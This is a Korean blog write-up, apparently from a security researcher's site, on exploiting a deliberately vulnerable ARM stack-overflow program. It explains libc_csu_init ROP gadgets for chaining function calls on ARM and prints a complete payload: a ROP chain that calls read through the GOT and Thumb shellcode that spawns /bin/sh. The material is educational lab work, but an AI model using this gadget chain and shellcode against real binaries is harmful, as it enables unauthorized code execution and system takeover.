#환경 : armv7 debian, rwx, random stack
#include<stdio.h>
int main(char argc, char *argv[])
{
char buf[16];
read(0,buf,255);
return 0;
}
공략할 프로그램의 소스이다. 주석에 써놨듯이 arm환경이다. 그리고 쉘코드를 실행시키기 위해 메모리에 rwx 권한을 주었다. 랜덤스택이기 때문에 read함수 재호출을 해서 권한 있는 메모리에 쉘코드를 넣어두고 그 곳으로 뛰는 식의 공격을 할 것이다.
arm의 특징은 함수 호출 규약이 x64처럼 레지스터를 이용한다는 것인데, 이 특성때문에 x86처럼 스택기반의 ROP같은 공격이 조금 어렵다.
물론 불가능한 것은 아니다. 리눅스 바이너리에 공통적으로 박혀있는 libc_csu_init 이 함수 쪽의 가젯을 이용하면 스택을 통한 함수 호출이 가능하다.(정확히는 스택의 값을 레지스터에 때려박고 레지스터 참조로 함수호출을 함)
libc_csu_init을 알게된건 pwnable.kr 워게임을 풀면서 x64 exploitation을 공부하다가 같이 공부하는 형한테 배웠다.
x64와 비슷한 특징을 갖고 있으니 arm에서도 libc_csu_init을 사용할 수 있지 않을까 했는데 결론은 충분히 가능했다. (나만 모르고 다른사람들은 이미 알았을 수도 있다.)
<libc_csu_init>
위 사진의 POP.W {R3-R9,PC} 가젯은 스택의 값을 R3부터 R9 그리고 PC까지 넣어준다. 이걸로 레지스터를 바꿔주고 PC부분은 LDR.W R3, [R5],#4 로 맞춰준다. 그러면 BLX R3 구문 덕에 원하는 함수를 호출할 수 있다. CMP R4, R9 명령이 있으니 R4와 R9를 같게 설정해주면 계속해서 체이닝이 가능하다.
요약하자면 다음과 같다.
R3 : 쩌리 => 어차피 후에 [R5]값이 불러와짐
R4 : R9 -1
R5 : 호출할 함수의 포인터 => 주로 GOT
R6: 첫번째 인자 => R0
R7: 두번째 인자 => R1
R8: 세번째 인자 => R2
R9: 1로 설정하면 편하다
간혹 arm 인스트럭션이 제대로 실행이 안될때가 있는데 그럴때는 명령주소+1을 잡아주면 실행이 잘 된다.
(python -c 'print "a"*20 + "\x0b\x84\x00\x00" + "bbbb\x00\x00\x00\x00\x3c\x05\x01\x00\x00\x00\x00\x00\x60\x05\x01\x00\x64\x00\x00\x00\x01\x00\x00\x00\xf9\x83\x00\x00aaaabbbbccccddddeeeeffffgggg\x60\x05\x01\x00"';python -c 'print "\x00\xbf"*10 + "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00"';cat)|./bof_arm
완성된 페이로드이다. 주요부분만 요약하면
R5: read 함수 GOT
R6: 첫번째 인자 => 디스크립터니까 stdin인 0으로 넣어준다
R7: 두번째 인자 => BSS 영역
R7: 세번째 인자 => length
그리고 나중에 쉘코드가 들어간 부분으로 pc를 맞춰주면 쉘이 실행된다.
'Research' 카테고리의 다른 글
쉘코드 수신 쉘코드 (0) | 2015.09.12 |
---|---|
arm exploitation using ROP (0) | 2015.02.26 |
blind sql injection script template (1) | 2015.02.20 |
UAF에 대한 고찰 (1) | 2014.03.09 |